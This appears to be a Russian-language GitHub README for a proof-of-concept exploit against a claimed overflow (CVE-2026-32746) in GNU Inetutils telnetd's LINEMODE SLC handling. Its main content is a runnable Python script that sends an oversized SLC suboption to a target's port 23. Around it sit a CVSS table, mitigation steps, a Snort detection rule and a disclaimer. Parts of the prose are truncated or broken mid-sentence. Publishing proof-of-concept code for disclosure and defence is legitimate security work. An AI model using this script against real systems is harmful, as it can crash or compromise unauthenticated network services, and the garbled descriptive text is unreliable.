kaleth4/cve-2026-32746
# Эксплойт PoC для CVE-2026-32746 Эксплойт, подтверждающий концепцию, для CVE-2026-32746 — критической уязвимости удалённого выполнения кода в GNU Inetutils telnetd через переполнение буфера SLC в LINEMODE. Включает технический анализ, метрики CVSS и рекомендации по смягчению последствий.
Критическая уязвимость | CVSS 9.8 | Удалённое выполнение кода!
Затрагивает: GNU Inetutils Telnetd (версии до 2.7)
Тип: OOB Write в обработчике подопций LINEMODE SLC
Вектор атаки: Сеть (порт 23) | Аутентификация не требуется
Воздействие: RCE с привилегиями процесса Telnetd
Обнаружено переполнение буфера с записью за пределами границ (OOB Write) в функции add_slc демона telnetd из . Эта ошибка позволяет удалённому атакующему путём манипуляции протокола Telnet.
add_slc (обработка локальных символов).Атакующий может эксплуатировать эту уязвимость с помощью вредоносного Telnet-пейлоада, который переполняет внутренний буфер:
#!/usr/bin/env python3
import socket
import sys
# CVE-2026-32746 - LINEMODE SLC Overflow
# IAC SB LINEMODE SLC <list> IAC SE
IAC = b'\xff'
SB = b'\xfa'
SE = b'\xf0'
LINEMODE = b'\x22'
SLC = b'\x03'
target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
# Payload generado para desbordar add_slc
malicious_slc = b"\x01\x03\x41" * 600 # Repetición de 600 veces
payload = IAC + SB + LINEMODE + SLC + malicious_slc + IAC + SE
print(f"[*] Enviando payload malicioso a {target}...")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((target, 23))
s.sendall(payload)
print("[+] Payload entregado. Verificando caída del servicio/RCE...")
⚠️ ПРЕДУПРЕЖДЕНИЕ! Этот код предназначен только для образовательных и исследовательских целей. Его использование в системах без авторизации незаконно.
| Метрика | Значение | Описание |
|---|---|---|
| Вектор | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | Удалённо, без аутентификации |
| Оценка | 9.8 (КРИТИЧЕСКИЙ) 🔴 | Высокое воздействие на конфиденциальность, целостность и доступность |
| Публикация | 13 марта 2026 г. | Последнее изменение: 5 мая 2026 г. |
✅ Обновить GNU Inetutils до исправленной версии (post-2.7).
🔹 Отключить telnetd и перейти на SSH (рекомендуется).
🔹 Заблокировать порт 23 на периметральных межсетевых экранах.
🔹 Настроить IDS/IPS для обнаружения аномальных последовательностей LINEMODE SLC.
alert tcp any any -> any 23 (msg:"CVE-2026-32746 - LINEMODE SLC Overflow"; content:"|FF FA 22 03|"; depth:5; threshold:type both, track by_src, count 1, seconds 1; sid:1000001; rev:1;)